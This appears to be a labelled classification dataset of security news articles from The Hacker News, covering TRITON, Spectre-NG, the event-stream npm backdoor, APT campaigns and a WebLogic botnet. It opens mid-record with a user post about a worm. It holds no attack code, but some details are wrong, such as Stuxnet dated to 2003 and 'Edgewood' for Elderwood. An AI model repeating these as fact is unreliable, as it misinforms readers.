C:\>ping mossad.gov.il -ttl
Pinging mossad.gov.il [147.237.72.71] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.

What's the point??
If the attackers used the same massive bots to attack sensitive gov sites , this will probably cause a disaster.
If they did it and dumped the banking accounts of thousands and thousands of users they got , this will also cause disaster.

Little analysis for the worm
I (Reuben Rayner) am trying to get a copy of this worm now to give detailed analysis but it's using a unique technique to attack spread over computers
- usb spread.
- inject itself within executable files
- injecting malicious html codes through out user's pc
- it's always trying to use the fake msn account in my virtual machine to send malicious links
- sending the antivirus update requests to fake server addresses so you will always think that ur AV is updated , but actually it isn't.
- disabling firewall software > comodo in my vpc
other techniques still unknown to me

While surfing through internet I (Reuben Rayner) found some topics asking for help about that worm. All asking the same question , what should I (Reuben Rayner) do? You have to format your C drive and re-install windows. Once installation is finished don't open any exe file , juts copy firewall software from the internet. Install it and block any request from exe files to modify registry or connecting to internet. Download Avira , install it and update it now it's able to detect this malware. Scan your computer and remove any infected file , now you are safe :)

Submitted By : Reuben Rayner
Email : reuben_r@rocketmail.com

",Malware
TRITON Malware Targeting Critical Infrastructure Could Cause Physical Damage,https://thehackernews.com/2017/12/triton-ics-scada-malware.html,"Security researchers have uncovered another nasty piece of malware designed specifically to target industrial control systems (ICS) with a potential to cause health and life-threatening accidents.

Dubbed Triton, also known as Trisis, the ICS malware has been designed to target Triconex Safety Instrumented System (SIS) controllers made by Schneider Electric—an autonomous control system that independently monitors the performance of critical systems and takes immediate actions automatically, if a dangerous state is detected.

Researchers from the Mandiant division of security firm FireEye published a report on Thursday, suggesting state-sponsored attackers used the Triton malware to cause physical damage to an organization.

Neither the targeted organization name has been disclosed by the researchers nor they have linked the attack to any known nation-state hacking group.

According to separate research conducted by ICS cybersecurity firm Dragos, which calls this malware ""TRISIS,"" the attack was launched against an industrial organization in the Middle East.

Triton leverages the proprietary TriStation protocol, which is an engineering and maintenance tool used by Triconex SIS products and is not publicly documented, suggesting that the attackers reverse engineered it when creating their malware.

""The attacker gained remote access to an SIS engineering workstation and deployed the TRITON attack framework to reprogram the SIS controllers,"" FireEye researchers said.

The hackers deployed Triton on an SIS engineering workstation running Windows operating system by masquerading it as the legitimate Triconex Trilog application.

The current version of TRITON malware that researchers analyzed was built with many features, ""including the ability to read and write programs, read and write individual functions and query the state of the SIS controller.""

""During the incident, some SIS controllers entered a failed safe state, which automatically shut down the industrial process and prompted the asset owner to initiate an investigation,"" the researchers said.

Using TRITON, an attacker can typically reprogram the SIS logic to falsely shut down a process that is actuality in a safe state. Though such scenario would not cause any physical damage, organizations can face financial losses due to process downtime.

Besides this, attackers can also cause severe life-threatening damages by reprogramming the SIS logic to allow unsafe conditions to persist or by intentionally manipulating the processes to achieve unsafe state first.

""The attacker deployed TRITON shortly after gaining access to the SIS system, indicating that they had pre-built and tested the tool which would require access to hardware and software that is not widely available.""

Researchers believe Triton is emerging as a severe threat to critical infrastructures, just like Stuxnet, IronGate, and Industroyer, because of its capabilities to cause physical damage or shut down operations.

Researchers at Symantec have also provided a brief analysis here.

",Cyber_Attack
8 New Spectre-Class Vulnerabilities (Spectre-NG) Found in Intel CPUs,https://thehackernews.com/2018/05/intel-spectre-vulnerability.html,"A team of security researchers has reportedly discovered a total of eight new ""Spectre-class"" vulnerabilities in Intel CPUs, which also affect at least a small number of ARM processors and may impact AMD processor architecture as well.

Dubbed Spectre-Next Generation, or Spectre-NG, the partial details of the vulnerabilities were first leaked to journalists at German computer magazine Heise, which claims that Intel has classified four of the new vulnerabilities as ""high risk"" and remaining four as ""medium.""

The new CPU flaws reportedly originate from the same design issue that caused the original Spectre flaw, but the report claims one of the newly discovered flaws allows attackers with access to a virtual machine (VM) to easily target the host system, making it potentially more threatening than the original Spectre vulnerability.
""Alternatively, it could attack the VMs of other customers running on the same server. Passwords and secret keys for secure data transmission are highly sought-after targets on cloud systems and are acutely endangered by this gap,"" the report reads.
""However, the aforementioned Spectre-NG vulnerability can be exploited quite easily for attacks across system boundaries, elevating the threat potential to a new level. Cloud service providers such as Amazon or Cloudflare and, of course, their customers are particularly affected.""
If you're unaware, Spectre vulnerability, which was reported earlier this year, relies upon a side-channel attack on a processors' speculative execution engine, allowing a malicious program to read sensitive information, like passwords, encryption keys, or sensitive information, including that of the kernel.

Although the German site did not disclose the name of the security researchers (or the team/company) who reported these flaws to Intel, it revealed one of the weaknesses was discovered by a security researcher at Google's Project Zero.

The site also claimed that the Google security researcher reported the flaw to the chip manufacturers almost 88 days ago—which indicates the researcher would possibly reveal the details of at least one flaw on May 7th, when the 90-day disclosure window will be closed, which is the day before the Windows Patch Tuesday.

Responsibly disclosing Spectre NG vulnerabilities to vendors is definitely a good practice, but it seems the researchers, who discovered the new series of Spectre-class flaws, are avoiding their names to come out early—maybe to prevent media criticism similar to the one faced by CTS Labs after they disclosed partial details of AMD flaws with dedicated website, beautiful graphics, and videos.

Intel's Response to Spectre-NG Flaws

Nevermind. When asked Intel about the new findings, the chip maker giant provides the following statement, which neither confirms nor denies the existence of the Spectre-NG vulnerabilities:
""Protecting our customers' data and ensuring the security of our products are critical priorities for us. We routinely work closely with customers, partners, other chip makers and researchers to understand and mitigate any issues that are identified, and part of this process involves reserving blocks of CVE numbers.""
""We believe strongly in the value of coordinated disclosure and will share additional details on any potential issues as we finalize mitigations. As a best practice, we continue to encourage everyone to keep their systems up-to-date.""

Meanwhile, when asked Heise about the Common Vulnerabilities and Exposures (CVE) numbers reserved for the new Spectre-NG vulnerabilities, the journalist refused to share any details and commented:
""The CVEs are currently only naked numbers without added value. On the other hand, their publication might have meant a further risk to our sources that we wanted to avoid. That's why we decided against it at the moment. We will submit the course, of course.""

Brace For New Security Patches

The Spectre-NG vulnerabilities reportedly affect Intel CPUs, and there are also indications that at least some ARM processors are vulnerable to the issues, but the impact on AMD processors has yet to be confirmed.

According to the German site, Intel has already acknowledged the new Spectre-NG vulnerabilities and are planning to release security patches in who shifts—one in May and second is currently scheduled for August.

Microsoft also plans to fix the issues by releasing a security patch with Windows updates in the upcoming months.

However, it's currently unknown if applying new patches would once again impact the performance of vulnerable devices, just like what happened with the original Spectre and Meltdown vulnerabilities earlier this year.

",Vulnerability
Rogue Developer Infects Widely Used NodeJS Module to Steal Bitcoins,https://thehackernews.com/2018/11/nodejs-event-stream-module.html,"A widely used third-party NodeJS module with nearly 2 million downloads a week was compromised after one of its open-source contributor gone rogue, who infected it with a malicious code that was programmed to steal funds stored in Bitcoin wallet apps.

The Node.js library in question is ""Event-Stream,"" a toolkit that makes it easy for developers to create and work with streams, a collection of data in Node.js — just like arrays or strings.

The malicious code detected earlier this week was added to Event-Stream version 3.3.6, published on September 9 via NPM repository, and had since been downloaded by nearly 8 million application programmers.

Event-Stream module for Node.js was originally created by Dominic Tarr, who maintained the Event-Stream library for a long time, but handed over the development and maintenance of the project several months ago to an unknown programmer, called ""right9ctrl.""

Apparently, right9ctrl gained Dominic's trust by making some meaningful contributions to the project.

After gaining access to the library, the new rightful maintainer ""Right9ctrl"" released Event-Stream version 3.3.6, containing a new library, called Flatmap-Stream, as a dependency, which was specifically crafted for the purposes of this attack and includes the malicious code.

Since the flatmap-stream module was encrypted, the malicious code remained undetected for more than 2 months until Ayrton Sparling (FallingSnow), a computer science student at California State University, flagged the issue Tuesday on GitHub.

After analyzing the obfuscated code and encrypted payload, open source project manager NPM which hosted event-stream found that the malicious module has been designed to target people using BitPay's open-source bitcoin wallet app, Copay, a company that incorporated event-stream into its app.

The malicious code attempted to steal digital coins stored in the Dash Copay Bitcoin wallets—distributed through the Node Package Manager (NPM)—and transfer them to a server located in Kuala Lumpur.

Officials from NPM—the open source project manager that hosted event-stream code library—removed the backdoor from NPM's listing on Monday this week.

BitPay also published an advisory saying Copay versions 5.0.2 through 5.1.0 were affected by the malicious code and that users with these versions installed should avoid running or opening the app until they install Copay version 5.2.0.

""Users should assume that private keys on affected wallets may have been compromised, so they should move funds to new wallets (v5.2.0) immediately,"" BitPay says in the advisory.

""Users should first update their affected wallets (5.0.2-5.1.0) and then send all funds from affected wallets to a brand new wallet on version 5.2.0, using the Send Max feature to initiate transactions of all funds.""

BitPay also says that its team continues to investigate this issue and the extent of the vulnerability to know whether the malicious code was ever exploited against Copay users.

BitPay assures its users that the BitPay app was not vulnerable to the malicious code.

",Malware
Stolen D-Link Certificate Used to Digitally Sign Spying Malware,https://thehackernews.com/2018/07/digital-certificate-malware.html,"Digitally signed malware has become much more common in recent years to mask malicious intentions.

Security researchers have discovered a new malware campaign misusing stolen valid digital certificates from Taiwanese tech-companies, including D-Link, to sign their malware and making them look like legitimate applications.

As you may know, digital certificates issued by a trusted certificate authority (CA) are used to cryptographically sign computer applications and software and are trusted by your computer for execution of those programs without any warning messages.

However, malware author and hackers who are always in search of advanced techniques to bypass security solutions have seen been abusing trusted digital certificates in recent years.

Hackers use compromised code signing certificates associated with trusted software vendors in order to sign their malicious code, reducing the possibility of their malware being detected on targeted enterprise networks and consumer devices.

Security researchers from ESET have recently identified two malware families, previously associated with cyberespionage group BlackTech, that have been signed using valid digital certificates belonging to D-Link networking equipment manufacturer and another Taiwanese security company called Changing Information Technology.

The first malware, dubbed Plead, is a remotely controlled backdoor designed to steal confidential documents and spy on users.

The second malware is also a related password stealer designed to collect saved passwords from Google Chrome, Microsoft Internet Explorer, Microsoft Outlook, and Mozilla Firefox.

Researchers notified both D-link and Changing Information Technology about the issue, and the companies revoked the compromised digital certificates on July 3 and July 4, 2018, respectively.

Since most antivirus software fails to check the certificate's validity even when companies revoke the signatures of their certificates, the BlackTech hackers are still using the same certificates to sign their malicious tools.
""The ability to compromise several Taiwan-based technology companies and reuse their code-signing certificates in future attacks shows that this group is highly skilled and focused on that region,"" the researchers said.
It is not the first time when hackers have used valid certificates to sign their malware. The infamous Stuxnet worm that targeted Iranian nuclear processing facilities in 2003 also used valid digital certificates.

Also, the 2017 CCleaner hack, wherein hackers replaced the original CCleaner software with the tainted downloads, was made possible due to digitally-signed software update.

",Malware
New Mac OS Malware exploited two known Java vulnerabilities,https://thehackernews.com/2013/09/new-mac-os-malware-exploited-two-known.html,"A new Mac OS Malware has been discovered called OSX/Leverage.A, which appears to be yet another targeted command-and-control Trojan horse, that creates a backdoor on an affected user's machine.

The Trojan named 'Leverage' because the Trojan horse is distributed as an application disguised as a picture of two people kissing, possibly a scene from the television show ""Leverage"".

The attack launched via a Java applet from a compromised website and which drops a Java archive with the backdoor to the visitor's computer and launches it without a user intercation.

To perform the attack, Malware uses two recently disclosed Java vulnerabilies known as CVE-2013-2465 and CVE-2013-2471. Once it's installed, the Trojan connects to the C&C server on port 7777.
Security vendor Intego said that Malware linked to Syrian Electronic Army (SEA), because after installation Malware attempt to download an image associated with the Syrian Electronic Army, but the hacker group denies accusations it engaged in the manufacture of such malware.

Moreover, according to security researcher, malware is similar to what is used in a phishing attack by the Syrian hackers against The New York Times, Outbrain, and The Washington Post.

While this new malware is out there, but the threat level appears to be low and has affected a few people. Apple has now updated XProtect to detect Leverage and prevent it from launching.

",Malware
WikiLeaks Reveals 'Marble' Source Code that CIA Used to Frame Russia and China,https://thehackernews.com/2017/03/cia-marble-framework.html,"WikiLeaks published hundreds of more files from the Vault 7 series today which, it claims, show how CIA can mask its hacking attacks to make it look like it came from other countries, including Russia, China, North Korea and Iran.

Dubbed ""Marble,"" the part 3 of CIA files contains 676 source code files of a secret anti-forensic Marble Framework, which is basically an obfuscator or a packer used to hide the true source of CIA malware.

The CIA's Marble Framework tool includes a variety of different algorithm with foreign language text intentionally inserted into the malware source code to fool security analysts and falsely attribute attacks to the wrong nation.

The leaked files indicate that the Marble's source code includes Chinese, Russian, Korean, Arabic and Farsi languages, as well as English, which shows that the CIA has engaged in clever hacking games.
""Marble is used to hamper[ing] forensic investigators and anti-virus companies from attributing viruses, trojans and hacking attacks to the CIA,"" says the whistleblowing site.

""...for example by pretending that the spoken language of the malware creator was not American English, but Chinese, but then showing attempts to conceal the use of Chinese, drawing forensic investigators even more strongly to the wrong conclusion,"" WikiLeaks explains.
The released source code archive also contains a deobfuscator to reverse CIA text obfuscation.
Since the Marble framework has now been made public, forensic investigators and anti-virus firms would be able to connect patterns and missing dots in order to reveal wrongly attributed previous cyber attacks and viruses.

So far, Wikileaks has revealed the ""Year Zero"" batch which uncovered CIA hacking exploits for and security bugs in popular hardware and software, and the ""Dark Matter"" batch which focused on exploits and hacking techniques the agency designed to target iPhones and Macs.

While WikiLeaks suggests that Marble was in use as recently as 2016, the organization does not provide any evidence to back this claim. Experts are still analyzing the Marble release, so there's no need to get too excited at this moment.

The White House has condemned the revelations made by Wikileaks, saying that those responsible for leaking classified information from the agency should be held accountable by the law.

",Cyber_Attack
"eBay Hacked, Change your Account Password Now",https://thehackernews.com/2014/05/ebay-hacked-change-your-account.html,"If you have an eBay Account then you should change your password immediately, because the World's biggest E-commerce company with 128 million active users announced today in a press release that it had been Hacked.

eBay revealed that attackers compromised customers' database including emails, physical addresses, encrypted passwords and dates of birth, in a hacking attack between late February and early March, but financial information like credit card numbers, as well as PayPal information were stored separately and were not compromised.

'After conducting extensive tests on its networks,' They also said they've found no evidence of unauthorized access or activity by registered eBay users, but as precaution, eBay is resetting everyone's passwords that 'will help enhance security for eBay users.'

Why did eBay wait so long to tell everyone? because just two weeks ago they discovered data breach. They conducted a forensic investigation of its computers to find the extent of the theft and found that intruders compromised some employees accounts and then used their access to get the data from servers.
""Cyber attackers compromised a small number of employee login credentials, allowing unauthorized access to eBay's corporate network,"" the company said in a statement.
They detected the unauthorized employee logins two weeks ago and ""Working with law enforcement and leading security experts, the company is aggressively investigating the matter and applying the best forensics tools and practices to protect customers."" company said.

eBay customers are now potentially vulnerable to phishing attacks i.e. spoofed e-mails. Hackers or spammers could craft very convincing phishing emails which may appear legitimate at first glance, but could trick you into revealing further personal information.

To change your eBay password, log into your account, select Account Settings, then click ""Personal Information"", then ""edit"" next to your password. If you are using same login details for other websites, you should also update them as soon as possible.

",Data_Breaches
Researchers Link 'Sharpshooter' Cyber Attacks to North Korean Hackers,https://thehackernews.com/2019/03/north-korea-hacking.html,"Security researchers have finally, with ""high confidence,"" linked a previously discovered global cyber espionage campaign targeting critical infrastructure around the world to a North Korean APT hacking group.

Thanks to the new evidence collected by researchers after analyzing a command-and-control (C2) server involved in the espionage campaign and seized by law enforcement.

Dubbed Operation Sharpshooter, the cyber espionage campaign targeting government, defense, nuclear, energy, and financial organizations around the world was initially uncovered in December 2018 by security researchers at McAfee.

At that time, even after finding numerous technical links to the North Korean Lazarus hacking group, researchers were not able to immediately attribute the campaign due to a potential for false flags.

Researchers Analysed Sharpshooter's Command Server

Now, according to a press release shared with The Hacker News, a recent analysis of the seized code and command-and-control (C2) server allowed researchers to understand the inner working of the global cyber espionage campaign, concluding that the North Korean state-sponsored hacking group is behind Operation Sharpshooter.

Lazarus Group, also known as Hidden Cobra and Guardians of Peace, is believed to be backed by the North Korean government and had reportedly been associated with the 2017 global WannaCry ransomware attack, the 2016 SWIFT Banking hack, as well as the 2014 Sony Pictures hack.

The analysis also revealed that the global espionage campaign began as early as September 2017, a year earlier than previously thought and is still ongoing.

While previous attacks were primarily targeting telecommunications, government and financial sectors in the United States, Switzerland, and Israel, and other English-speaking countries, newly-discovered evidence suggests that Sharpshooter has expanded its focus to critical infrastructure, with the most recent attacks targeting Germany, Turkey, the United Kingdom, and the United States.

Operation Sharpshooter: Global Cyber-Espionage Campaign

The global espionage campaign spreads by sending malicious documents containing a weaponized macro to targets via Dropbox. Once opened and downloaded, the macro leverages embedded shellcode to inject the Sharpshooter downloader into the memory of Microsoft Word.
For further exploitation, this in-memory implant then covertly downloads the second-stage Rising Sun malware, which uses source code from the Lazarus Group's backdoor Trojan Duuzer, malware first circulated in 2015 targeting organizations in South Korea.

The Rising Sun malware then performs reconnaissance on the victim's network by gathering and encrypting data, including victim devices' computer name, IP address data, native system information and more.

""Access to the adversary's command-and-control server code is a rare opportunity. These systems provide insights into the inner workings of cyber attack infrastructure, are typically seized by law enforcement, and only rarely made available to private sector researchers,"" said Christiaan Beek, McAfee senior principal engineer, and lead scientist.

""The insights gained through access to this code are indispensable in the effort to understand and combat today's most prominent and sophisticated cyber attack campaigns.""

Moreover, analysis of the C2 server and file logs also revealed an African connection, as the researchers uncovered a network block of IP addresses originating from a city located in the African nation of Namibia.

""This led McAfee Advanced Threat Research analysts to suspect that the actors behind Sharpshooter may have tested their implants and other techniques in this area of the world prior to launching their broader campaign of attacks,"" the researchers say.

The C2 infrastructure used by the attackers has a core backend written in Hypertext Preprocessor (PHP), and Active Server Pages (ASP), which ""appears to be custom and unique to the group"" and has been part of the Lazarus operations since 2017.
",Malware
Operation Aurora - Other Zero-Day Attacks targeting finance and Energy,https://thehackernews.com/2012/09/operation-aurora-other-zero-day-attacks.html,"The infamous Aurora Trojan horse is just one of many attacks launched by the same group of malware authors over the past three years, according to researchers at Symantec. Security researchers with Symantec have issued a report outlining the techniques used by the so-called ""Edgewood"" hacking platform and the group behind it. The group seemingly has an unlimited supply of zero-day vulnerabilities.

The company said that the group is well-funded and armed with more than a half-dozen unpublished security vulnerabilities. ""They are definitely shifting their methodology, and there are open questions about why that is,"" said Eric Chien, senior technical director for Symantec's security response group. ""They may be finding that older techniques are no longer working.""

""The number of zero-day exploits used indicates access to a high level of technical capability.""The researchers said that the group appears to favour ""watering hole"" attacks techniques in which the attacker profiles a targeted group and places attack code into sites which the targets are likely to visit.

Here are just some of the most recent exploits that they have used:
• Adobe Flash Player Object Type Confusion Remote Code Execution Vulnerability (CVE-2012-0779)
• Microsoft Internet Explorer Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)
• Microsoft XML Core Services Remote Code Execution Vulnerability (CVE-2012-1889)
• Adobe Flash Player Remote Code Execution Vulnerability (CVE-2012-1535)

Operation Aurora was a cyber attack which began in mid-2009 and continued through December 2009. The attack was first publicly disclosed by Google on January 12, 2010. In the blog post, Google said the attack originated in China.

The attacks were both sophisticated and well resourced and consistent with an advanced persistent threat attack.The attack has been aimed at dozens of other organizations, of which Adobe Systems, Juniper Networks and Rackspace have publicly confirmed that they were targeted.

The security firm has published details in a 14-page research report titled ""The Elderwood Project"". The first thing that stands out in the report is that the vast majority of detections are in the US. In the last year, Symantec detected 677 files used by the Elderwood gang in the US. Rounding out the top five is Canada with 86 files, China with 53, Hong Kong with 31, and Australia also with 31.

",Malware
Researchers bypass Google Bouncer Android Security,https://thehackernews.com/2012/06/researchers-bypass-google-bouncer.html,"Researchers bypass Google Bouncer Android Security

Google's Android platform has become the most popular mobile operating system both among consumers and malware writers, and the company earlier this year introduced the Bouncer system to look for malicious apps in the Google Play market.

Bouncer, which checks for malicious apps and known malware, is a good first step, but as new work from researchers Jon Oberheide and Charlie Miller shows, it can be bypassed quite easily and in ways that will be difficult for Google to address in the long term.

Bouncer is an automated process that scans apps for known malware, spyware, and Trojans, and looks for suspicious behaviors and compares them against previously analyzed apps. If malicious code or behavior is detected, the app is flagged for manual confirmation that it is malware.

""This screencast shows our submitted app handing us a connect-back shell on the Bouncer infrastructure so that we can explore and fingerprint its environment,"" Oberheide wrote in a blog post this morning.
""While Bouncer may be unable to catch sophisticated malware from knowledgeable adversaries currently, we're confident that Google will continue to improve and evolve its capabilities. We've been in touch with the Android security team and will be working with them to address some of the problems we've discovered.""

",Malware
MOSQUITO Attack Allows Air-Gapped Computers to Covertly Exchange Data,https://thehackernews.com/2018/03/air-gap-computer-hacking.html,"The team of security researchers—who last month demonstrated how attackers could steal data from air-gapped computers protected inside a Faraday cage—are back with its new research showing how two (or more) air-gapped PCs placed in the same room can covertly exchange data via ultrasonic waves.

Air-gapped computers are believed to be the most secure setup wherein the systems remain isolated from the Internet and local networks, requiring physical access to access data via a USB flash drive or other removable media.

Dubbed MOSQUITO, the new technique, discovered by a team of researchers at Israel's Ben Gurion University, works by reversing connected speakers (passive speakers, headphones, or earphones) into microphones by exploiting a specific audio chip feature.

Two years ago, the same team of researchers demonstrated how attackers could covertly listen to private conversations in your room just by reversing your headphones (connected to the infected computer) into a microphone, like a bug listening device, using malware.

Now, with its latest research [PDF], the team has taken their work to the next level and found a way to convert some speakers/headphones/earphones that are not originally designed to perform as microphones into a listening device—when the standard microphone is not present, muted, taped, or turned off.
Since some speakers/headphones/earphones respond well to the near-ultrasonic range (18kHz to 24kHz), researchers found that such hardware can be reversed to perform as microphones.

Moreover, when it comes to a secret communication, it's obvious that two computers can't exchange data via audible sounds using speakers and headphones. So, inaudible ultrasonic waves offer the best acoustic covert channel for speaker-to-speaker communication.

Video Demonstrations of MOSQUITO Attack
Ben Gurion's Cybersecurity Research Center, directed by 38-year-old Mordechai Guri, used ultrasonic transmissions to make two air-gapped computers talk to each other despite the high degree of isolation.

The attack scenarios demonstrated by researchers in the proof-of-concept videos involve two air-gap computers in the same room, which are somehow (using removable media) infected with malware but can not exchange data between them to accomplish attacker's mission.

The attack scenarios include speaker-to-speaker communication, speaker-to-headphones communication, and headphones-to-headphones communication.
""Our results show that the speaker-to-speaker communication can be used to covertly transmit data between two air-gapped computers positioned a maximum of nine meters away from one another,"" the researchers say.
""Moreover, we show that two (microphone-less) headphones can exchange data from a distance of three meters apart.""
However, by using loudspeakers, researchers found that data can be exchanged over an air-gap computer from a distance of eight meters away with an effective bit rate of 10 to 166 bit per second.
It's not the first time when Ben-Gurion researchers have come up with a covert technique to target air-gapped computers. Their previous research of hacking air-gap computers include:

aIR-Jumper attack steals sensitive data from air-gapped PCs with the help of infrared-equipped CCTV cameras that are used for night vision.
USBee can be used to steal data from air-gapped computers using radio frequency transmissions from USB connectors.
DiskFiltration can steal data using sound signals emitted from the hard disk drive (HDD) of air-gapped computers.
BitWhisper relies on heat exchange between two computers to stealthily siphon passwords and security keys.
AirHopper turns a computer's video card into an FM transmitter to capture keystrokes.
Fansmitter technique uses noise emitted by a computer fan to transmit data.
GSMem attack relies on cellular frequencies.

",Malware
Cyber Espionage Group Targets Asian Countries With Bitcoin Mining Malware,https://thehackernews.com/2018/02/cyber-espionage-asia.html,"Security researchers have discovered a custom-built piece of malware that's wreaking havoc in Asia for past several months and is capable of performing nasty tasks, like password stealing, bitcoin mining, and providing hackers complete remote access to compromised systems.

Dubbed Operation PZChao, the attack campaign discovered by the security researchers at Bitdefender have been targeting organizations in the government, technology, education, and telecommunications sectors in Asia and the United States.

Researchers believe nature, infrastructure, and payloads, including variants of the Gh0stRAT trojan, used in the PZChao attacks are reminiscent of the notorious Chinese hacker group—Iron Tiger.

However, this campaign has evolved its payloads to drop trojan, conduct cyber espionage and mine Bitcoin cryptocurrency.

The PZChao campaign is attacking targets across Asia and the U.S. by using similar attack tactics as of Iron Tiger, which, according to the researchers, signifies the possible return of the notorious Chinese APT group.

Since at least July last year, the PZChao campaign has been targeting organizations with a malicious VBS file attachment that delivers via highly-targeted phishing emails.

If executed, the VBS script downloads additional payloads to an affected Windows machine from a distribution server hosting ""down.pzchao.com,"" which resolved to an IP address (125.7.152.55) in South Korea at the time of the investigation.

The threat actors behind the attack campaign have control over at least five malicious subdomains of the ""pzchao.com"" domain, and each one is used to serve specific tasks, like download, upload, RAT related actions, malware DLL delivery.
The payloads deployed by the threat actors are ""diversified and include capabilities to download and execute additional binary files, collect private information and remotely execute commands on the system,"" researchers noted.
The first payload dropped on the compromised machines is a Bitcoin miner, disguised as a 'java.exe' file, that mines cryptocurrency every three weeks at 3 AM, when most people are not in front of their systems.

For password stealing, the malware also deploys one of two versions of the Mimikatz password-scraping utility (depending on the operating architecture of the affected machine) to harvest passwords and upload them to the command and control server.

PZChao's final payload includes a slightly modified version of Gh0st remote access trojan (RAT) which is designed to act as a backdoor implant and behaves very similar to the versions detected in cyber attacks associated with the Iron Tiger APT group.

The Gh0st RAT is equipped with massive cyber-espionage capabilities, including:
Real-time and offline remote keystroke logging
Listing of all active processes and opened windows
Listening in on conversations via microphone
Eavesdropping on webcams' live video feed
Allowing for remote shutdown and reboot of the system
Downloading binaries from the Internet to remote host
Modifying and stealing files and more.
All of the above capabilities allows a remote attacker to take full control of the compromised system, spy on the victims and exfiltrate confidential data easily.

While the tools used in the PZChao campaign are a few years old, ""they are battle-tested and more than suitable for future attacks,"" researchers say.

Active since 2010, Iron Tiger, also known as ""Emissary Panda"" or ""Threat Group-3390,"" is a Chinese advanced persistent threat (APT) group that was behind previous campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors.

Similar to the PZChao campaign, the group also carried out attacks against entities in China, the Philippines, and Tibet, besides attacking targets in the U.S.

For further insights, you can read the detailed technical paper [PDF] published by Bitdefender.

",Cyber_Attack
Malicious Pinterest browser plugin stealing passwords and spreading spam,https://thehackernews.com/2013/07/hacking-Pinterest-malware.html,"Social networking sites are unfortunately now major interest to malicious cyber criminals, spreading malware and building botnet army to steal money direct from your keyboards.

Janne Ahlberg, a security professional from Finland found and analysed an interesting piece of malicious code, offered as browser plugin, and infecting system to steal passwords from user's browser and also modifies the original Pinterest Pins links to spam with malicious links automatically.
A diet spam on Pinterest redirecting users to a malicious site with domain name pinteresf.org, plausible-looking domain name, like original Pinterest with similar appearance. On page load, it triggers a pop up message to all incoming visitors, offering to download ""Pinterest Tool"" as shown in screenshots ""To continue, install our Pinterest Tool and enjoy more features of our site.""
Janne's investigation claims that, this fake site offering a fake malware loaded browser plugin, harvesting passwords from users system.

F-Secure Antivirus firm also detected it as ""Trojan.PWS.ZAQ"". Similar malicious Pinterest plugin was first time spotted in 2012.
Another researcher, Chrisjwilson has also analyzed the plugin and found that malware is modifying the original Pinterest Pins made my user and inserting malicious links to do spam. This malware gets the website specific payload from a remote server. Currently it seems to be limited to Pinterest, but estimated thousands of users are already infected.

Update: Janne blogged that server IP addresses 198.58.104.37 , 50.116.28.142, 216.18.23.152 related to pinteresf.org spam are currently offline after public disclosure.

",Malware
Multiple Botnets Exploiting Critical Oracle WebLogic Bug — PATCH NOW,https://thehackernews.com/2020/12/multiple-botnets-exploiting-critical.html,"Multiple botnets are targeting thousands of publicly exposed and still unpatched Oracle WebLogic servers to deploy crypto miners and steal sensitive information from infected systems.
The attacks are taking aim at a recently patched WebLogic Server vulnerability, which was released by Oracle as part of its October 2020 Critical Patch Update and subsequently again in November (CVE-2020-14750) in the form of an out-of-band security patch.
As of writing, about 3,000 Oracle WebLogic servers are accessible on the Internet-based on stats from the Shodan search engine.
Oracle WebLogic is a platform for developing, deploying, and running enterprise Java applications in any cloud environment as well as on-premises.
The flaw, which is tracked as CVE-2020-14882, has a CVSS score of 9.8 out of a maximum rating of 10 and affects WebLogic Server versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0.
Although the issue has been addressed, the release of proof-of-concept exploit code has made vulnerable Oracle WebLogic instances a lucrative target for threat actors to recruit these servers into a botnet that pilfers critical data and deploy second stage malware payloads.
According to Juniper Threat Labs, operators of the DarkIRC botnet are exploiting this RCE vulnerability to spread laterally across the network, download files, record keystrokes, steal credentials, and execute arbitrary commands on compromised machines.
The malware also acts as a Bitcoin clipper that allows them to change bitcoin wallet addresses copied to the clipboard to the operator's bitcoin wallet address, allowing the attackers to reroute Bitcoin transactions.
What's more, a threat actor by the name of ""Freak_OG"" has been selling the DarkIRC malware currently on hacking forums for $75 since August.
But it's not just DarkIRC that's exploiting the WebLogic Server vulnerability. In a separate campaign—spotted by '0xrb' and detailed by researcher Tolijan Trajanovski—evidence has emerged of a botnet that propagates via the WebLogic flaw to deliver Monero cryptocurrency miner and Tsunami binaries.
Besides using SSH for lateral movement, the botnet has been found to achieve persistence through cron jobs, kill competing mining tools, and even uninstall Endpoint detection and response (EDR) tools from Alibaba and Tencent.
It's recommended that users apply the October 2020 Critical Patch Update and the updates associated with CVE-2020-14750 as soon as possible to mitigate risks stemming from this flaw.
Oracle has also provided instructions to harden the servers by preventing external access to internal applications accessible on the Administration port.

",Vulnerability
Windows Updates Can be Intercepted to Inject Malware into Corporate Networks,https://thehackernews.com/2015/08/windows-update-malware.html,"If you think that the patches delivered through Windows update can not be laced with malware, think again.

Security researchers have shown that Hackers could intercept Windows Update to deliver and inject malware in organizations.

Security researchers from UK-based security firm 'Context' have discovered a way to exploit insecurely configured implementations of Windows Server Update Services (WSUS) for an enterprise.

What is WSUS in Windows?

Windows Server Update Services (WSUS) allows an administrator to deploy the Windows software update to servers and desktops throughout the organization.

These updates come from the WSUS server and not Windows server.

Once the updates are with the administrator on the server, he can limit the privilege for the clients in a corporate environment to download and install these updates. As the admin is the owner of the distribution of these updates.

Intercepting WSUS to Inject Malware into Corporate Networks

By default, WSUS does not use SSL encrypted HTTPS delivery for the SOAP (Simple Object Access Protocol) XML web service. Instead, it uses the non-encrypted HTTP.

This is a major WSUS weakness that should not be ignored now. (At least when it has been exploited and shown to the world).

As WSUS installations are not configured to use SSL security mechanism, hence they are vulnerable to man-in-the-middle (MitM) attacks.

According to researchers Paul Stone and Alex Chapman, the attack is so simple that a hacker with low privileges can set up fake updates that can be installed automatically by connected machines.

All update packages that are downloaded from the Microsoft Update website are signed with a Microsoft signature. Which cannot be altered.

However, Hackers can alter Windows Update by installing malware in the metadata of the update.
""By repurposing existing Microsoft-signed binaries, we were able to demonstrate that an attacker can inject malicious updates to execute arbitrary commands,"" researchers said in the paper.
A malicious attacker can inject malware in the SOAP XML communication between the WSUS server and the client and making it look purely authentic update to install.

Windows update also includes more than 25,000 of 3rd-party drivers that are developed and signed by other developers, which can also be altered easily.
